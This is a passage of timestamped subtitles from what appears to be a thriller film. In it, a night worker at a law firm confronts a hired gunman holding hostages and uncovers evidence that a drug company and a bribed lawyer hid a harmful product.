00:50:17.348 --> 00:50:19.249
Tom?

00:50:19.517 --> 00:50:21.714
Tom!

00:50:23.479 --> 00:50:25.188
Look who I got.

00:50:25.189 --> 00:50:27.432
Fernando.

00:50:27.483 --> 00:50:29.509
See?

00:50:31.529 --> 00:50:35.477
Tom... I just want to talk.

00:50:35.699 --> 00:50:37.367
That's all, see.

00:50:37.368 --> 00:50:39.202
I'm an employee.

00:50:39.203 --> 00:50:41.871
Just like you, I've been hired

00:50:41.872 --> 00:50:47.152
to do a job, and my boss isn't the
kind of man who accepts failure.

00:50:47.836 --> 00:50:50.955
Don't try and be a hero, Tom.

00:50:51.215 --> 00:50:53.833
Nobody else has to die.

00:50:54.802 --> 00:50:57.796
If you bring me the pass card,

00:50:58.097 --> 00:51:00.123
I promise.

00:51:00.641 --> 00:51:03.339
I won't hurt Fernando.

00:51:04.061 --> 00:51:05.962
If you don't...

00:51:07.606 --> 00:51:10.567
I will decorate that
wall with his brains.

00:51:11.819 --> 00:51:14.096
What's his nickname?

00:51:14.446 --> 00:51:16.322
What's his nickname?

00:51:16.323 --> 00:51:18.315
What do I call him?

00:51:19.868 --> 00:51:21.894
The janitor!

00:51:22.204 --> 00:51:24.196
He's already dead.

00:51:31.171 --> 00:51:34.039
It's been fun, Tom.

00:51:39.388 --> 00:51:40.763
What's that?

00:51:40.764 --> 00:51:43.416
He's turning the elevators back on.

00:51:44.977 --> 00:51:47.129
He's trying to trick us.

00:51:48.772 --> 00:51:50.673
Come on.

00:52:10.294 --> 00:52:12.195
Stay here.

00:52:40.991 --> 00:52:42.158
You heard it too?

00:52:42.159 --> 00:52:44.481
Jesus Christ.

00:52:57.549 --> 00:52:59.217
What is it?

00:52:59.218 --> 00:53:01.052
It's my number.

00:53:01.053 --> 00:53:02.220
Oh, shit!

00:53:13.148 --> 00:53:15.220
Go, go, go!

00:53:50.728 --> 00:53:53.062
Shit.

00:53:53.063 --> 00:53:54.964
Shit.

00:53:55.232 --> 00:53:56.566
Oh, God.

00:54:13.584 --> 00:54:16.878
This is gonna hurt. You ready?

00:54:25.095 --> 00:54:26.996
Nice phone.

00:54:41.695 --> 00:54:44.113
You really should protect
your phone with a pin.

00:54:44.114 --> 00:54:46.891
You wouldn't want
just anyone using it.

00:54:56.668 --> 00:54:58.419
No!

00:54:58.420 --> 00:54:59.670
No!

00:54:59.671 --> 00:55:02.089
Hey, hey, hey, leave
her out of this.

00:55:02.090 --> 00:55:05.376
You already killed the other witness, why
are you doing it? Why are you still here?

00:55:08.305 --> 00:55:10.181
I'm gonna go let her in.

00:55:10.182 --> 00:55:13.426
You got everything you wanted,
why are you doing this?

00:55:13.644 --> 00:55:15.716
Not everything.

00:55:17.105 --> 00:55:19.732
Hey! Hey, come back here!

00:55:19.733 --> 00:55:21.484
Hey, come back here
and listen to me!

00:55:21.485 --> 00:55:23.152
You touch her, I'm gonna kill you.

00:55:23.153 --> 00:55:24.570
Get back here!

00:55:24.571 --> 00:55:26.814
Hey! Hey!

00:55:29.326 --> 00:55:30.576
What are you doing?

00:55:30.577 --> 00:55:31.828
Don't go out there.

00:55:31.829 --> 00:55:33.579
I have to.

00:55:33.580 --> 00:55:34.747
He's got Anna.

00:55:34.748 --> 00:55:36.695
He'll kill you.

00:55:38.252 --> 00:55:40.044
No, he won't.

00:55:40.045 --> 00:55:42.572
I'm gonna give him
exactly what he wants.

00:55:53.684 --> 00:55:55.101
Hi.

00:55:55.102 --> 00:55:57.353
I bet your name's Anna.

00:55:57.354 --> 00:55:58.521
And who are you?

00:55:58.522 --> 00:56:00.356
I'm the new guy.

00:56:00.357 --> 00:56:03.760
And I'm having a
really bad first day.

00:56:05.654 --> 00:56:07.771
What are you doing?

00:56:08.115 --> 00:56:10.533
Give me your cell phone.

00:56:10.534 --> 00:56:12.435
Please.

00:56:18.917 --> 00:56:20.818
Thank you.

00:56:27.759 --> 00:56:29.660
Let her go.

00:56:29.720 --> 00:56:31.596
Oh, hello.

00:56:31.597 --> 00:56:33.272
Let her go and I'll
give you what you want.

00:56:33.273 --> 00:56:34.640
Tom!

00:56:34.641 --> 00:56:36.726
Anna, baby, it's okay.
Everything is gonna be okay.

00:56:36.727 --> 00:56:39.270
Just a friendly exchange.

00:56:39.271 --> 00:56:42.064
Something you want for
something I want.

00:56:42.065 --> 00:56:43.566
Aw, cute.

00:56:43.567 --> 00:56:45.151
You've really thought this
through, haven't you?

00:56:45.152 --> 00:56:47.570
Now, I don't like the way this is
going, all I gotta do is make a cut

00:56:47.571 --> 00:56:49.113
and it's game over, you lose.

00:56:49.114 --> 00:56:51.391
We both lose.

00:56:51.450 --> 00:56:53.993
Except, one of us will be able
to live with the outcome,

00:56:53.994 --> 00:56:55.870
and one of us will not.

00:56:55.871 --> 00:56:57.455
I don't believe that's true.

00:56:57.456 --> 00:56:58.915
Emmerich, what are
you doing? Emmerich.

00:56:58.916 --> 00:57:00.458
- I'm taking a risk...
- Emmerich, I've got this.

00:57:00.459 --> 00:57:02.827
as an act of good faith.

00:57:03.670 --> 00:57:06.130
You've been trying to
get into our file room.

00:57:06.131 --> 00:57:09.258
I think you have a job to do, and
you intend to see it through.

00:57:09.259 --> 00:57:11.160
Am I right?

00:57:11.970 --> 00:57:14.764
But I am confident that if you
were to put your gun down

00:57:14.765 --> 00:57:17.600
then Tom would throw out that card.

00:57:17.601 --> 00:57:19.602
Then both parties

00:57:19.603 --> 00:57:23.677
would be confident in the good
faith of these negotiations.

00:57:32.199 --> 00:57:34.100
Your turn.

00:57:44.211 --> 00:57:46.203
Now, let her go.

00:57:46.922 --> 00:57:51.550
That's not gonna work for me,
I want... him to bring it to me.

00:57:51.551 --> 00:57:52.887
Oh, for God's sake,

00:57:52.913 --> 00:57:55.776
- let's just get this done...
- No, Emmerich!

00:57:56.306 --> 00:57:58.503
Emmerich, what are you doing?

00:58:00.394 --> 00:58:02.420
Now, let her go.

00:58:04.773 --> 00:58:07.316
Sorry, I'm renegotiating.

00:58:07.317 --> 00:58:09.764
No!

00:58:14.324 --> 00:58:16.396
Get up.

00:58:26.336 --> 00:58:28.579
After you.

00:58:34.011 --> 00:58:36.128
You shot me!

00:58:39.141 --> 00:58:41.714
You might just live.

00:58:41.852 --> 00:58:44.311
You're supposed to be the boss!

00:58:44.312 --> 00:58:47.690
How hard is it to clear
out your own office?

00:58:47.691 --> 00:58:51.185
Just get this done so I
can go to the hospital.

00:58:58.243 --> 00:59:00.144
Come on.

00:59:15.260 --> 00:59:16.719
Let him go, or I shoot.

00:59:16.720 --> 00:59:18.712
You won't do that.

00:59:18.805 --> 00:59:21.628
Yeah? Try me.

00:59:29.399 --> 00:59:30.733
Anna, now!

01:00:39.719 --> 01:00:41.428
What are you doing?
You can't go in there!

01:00:41.429 --> 01:00:43.722
Go get that fire extinguisher.

01:00:53.608 --> 01:00:54.859
Oh, shit.

01:00:54.860 --> 01:00:55.943
Tom.

01:00:55.944 --> 01:00:59.097
Yeah, give that to me. Stay back.

01:01:36.026 --> 01:01:37.193
Tom!

01:01:48.830 --> 01:01:49.872
Get off him!

01:01:51.541 --> 01:01:53.442
Hey!

01:01:56.546 --> 01:01:57.713
You got no clue who you're...

01:02:11.811 --> 01:02:14.463
11-22.

01:02:41.091 --> 01:02:42.341
Tom.

01:02:42.342 --> 01:02:43.801
- You okay?
- Yeah, are you okay?

01:02:43.802 --> 01:02:45.703
Yeah.

01:02:47.472 --> 01:02:50.170
- I'll get the elevator started.
- Yeah.

01:02:51.601 --> 01:02:55.175
I guess Harcourt's not
going to trial today, huh?

01:03:03.280 --> 01:03:05.432
Holy shit.

01:03:58.460 --> 01:04:01.203
This has nothing to
do with Gambizzi.

01:04:03.673 --> 01:04:06.633
This is why he broke in the office.

01:04:06.634 --> 01:04:09.762
Denning hired him to
destroy the Harcourt file.

01:04:09.763 --> 01:04:11.847
- Tom...
- This is proof!

01:04:11.848 --> 01:04:14.808
Denning knew that Prophidil could harm
people, and he released it anyway.

01:04:14.809 --> 01:04:17.711
Tom, I need you to
call me an ambulance.

01:04:18.146 --> 01:04:20.047
Okay.

01:04:27.739 --> 01:04:30.339
11-22.

01:05:05.652 --> 01:05:07.361
We have a situation.

01:05:07.362 --> 01:05:10.560
Nobody was supposed to be up here.

01:05:10.615 --> 01:05:13.813
Three, and the one we talked about.

01:05:14.369 --> 01:05:16.270
It was you.

01:05:17.747 --> 01:05:20.649
What, you were throwing
the case for Denning?

01:05:21.376 --> 01:05:24.495
- The money was just a way out.
- A way out of what?

01:05:24.629 --> 01:05:27.297
Think of this more as a settlement.

01:05:27.298 --> 01:05:28.715
Oh, don't be so naive.

01:05:28.716 --> 01:05:32.553
Every lawyer has a price, even you.

01:05:32.554 --> 01:05:33.762
I'm not a lawyer.

01:05:33.763 --> 01:05:34.972
You can be.

01:05:34.973 --> 01:05:37.808
You can go wherever
you want at RBE, Tom.

01:05:37.809 --> 01:05:39.309
I will make sure of that.

01:05:39.310 --> 01:05:42.463
Well, I want a raise. A big one!

01:05:43.481 --> 01:05:45.678
And a corner office.

01:05:45.984 --> 01:05:50.320
And then, I want to watch when
you tell Roger's wife and kids

01:05:50.321 --> 01:05:53.223
that you had him
murdered for money.

01:05:53.616 --> 01:05:55.517
You fuck.

01:05:55.743 --> 01:05:57.870
It was supposed to be
an electrical fire!

01:05:57.871 --> 01:05:59.288
No one was supposed to get hurt!

01:05:59.289 --> 01:06:01.315
Then why did he have a gun?

01:06:01.332 --> 01:06:04.168
Why did he call you and say "Three,
and the one we talked about"?

01:06:04.169 --> 01:06:08.039
"The one we talked about"?
That was Roger, wasn't it?

01:06:08.631 --> 01:06:11.800
Roger found this, brought this
to you and you had him killed.

01:06:11.801 --> 01:06:14.303
No, I am not a killer.

01:06:14.304 --> 01:06:17.002
No, you just pay other
people to do it for you.

01:06:17.474 --> 01:06:19.375
It's easier.

01:06:19.893 --> 01:06:22.136
Shred that file.

01:06:22.479 --> 01:06:25.427
You think the Mafia is scary?

01:06:26.191 --> 01:06:29.610
Wait till you see what a multi-billion
dollar corporation will do.

01:06:29.611 --> 01:06:33.655
Denning has people
everywhere, in every firm.

01:06:33.656 --> 01:06:37.451
Every police precinct,
every governmental agency.

01:06:37.452 --> 01:06:40.913
If you don't shred that file,
they will come for you.

01:06:40.914 --> 01:06:42.539
Why would they?

01:06:42.540 --> 01:06:44.441
You fired me.

01:06:44.626 --> 01:06:46.527
Remember?

01:06:47.670 --> 01:06:49.947
I clocked out at 9:00.

01:06:51.257 --> 01:06:54.501
Thanks to you, I couldn't
even swipe back up again.

01:06:56.012 --> 01:06:57.913
Go.

01:08:11.446 --> 01:08:15.495
Reported gunshots
fired, 34th floor.

01:08:18.553 --> 01:08:19.928
- Hey.
- Tom!

01:08:19.929 --> 01:08:21.763
Oh, my God. Are you okay?

01:08:21.764 --> 01:08:23.665
Hi.

01:08:23.891 --> 01:08:27.010
- Okay. We've gotta get out of here.
- Okay.

01:08:33.151 --> 01:08:35.052
Hey, where's Emmerich?

01:08:39.198 --> 01:08:41.450
Check the perimeter offices, if
you find anyone, detain them.

01:08:41.451 --> 01:08:43.694
I'll get some backup.

01:08:51.294 --> 01:08:53.696
What did you do with the file?

01:08:54.422 --> 01:08:55.631
What I do best.

01:09:22.492 --> 01:09:23.700
Morning, sir.

01:09:23.701 --> 01:09:25.648
Morning, how are you doing today?

01:09:36.339 --> 01:09:38.619
I'm gonna call in sick,
give me your cell phone.

01:10:22.552 --> 01:10:24.386
If anybody asks,

01:10:24.387 --> 01:10:25.637
- we were never here.
- Okay.

01:10:28.725 --> 01:10:30.797
Yeah?

01:10:31.894 --> 01:10:33.966
What does he look like?

01:10:39.091 --> 01:10:40.249
Got him.

ZeroDay Forums Mini